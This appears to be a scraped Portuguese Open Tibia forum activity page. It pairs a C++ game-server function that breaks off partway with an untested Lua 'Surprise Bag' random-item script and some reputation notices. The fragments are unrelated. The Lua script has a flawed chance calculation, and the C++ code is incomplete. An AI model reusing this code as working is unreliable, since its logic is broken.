bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {
Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
-
Ed.Specter recebeu reputação de Liane Maria em Teleport que da Storageeu tenho toc. Não consigo, não usar _
-
Ed.Specter recebeu reputação de Jpeedro em Surprise Bag com porcentagem de itenNão testei, e não lembro se math.random só retorna números inteiros.
testa ae..
local items = { --id do item, quantidade, chance de ganhar [6527] = {quant = 1, chance = 0.1}, [8301] = {quant = 1, chance = 0.5}, -- deixa a chance nessa ordem, se quiser, altera a ordem dos item [8302] = {quant = 1, chance = 1} } function onUse(cid, item, frompos, item2, topos) if item.itemid == 10520 then local a = math.random(0, 1) for _, i in pairs(items) do if a <= i.chance then doPlayerAddItem(cid, _, i.quant) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Você ganhou "..i.quant.." item(s) "..getItemNameById(_)..".") doSendMagicEffect(getCreaturePosition(cid), 25) break end end doRemoveItem(item.uid) end return true end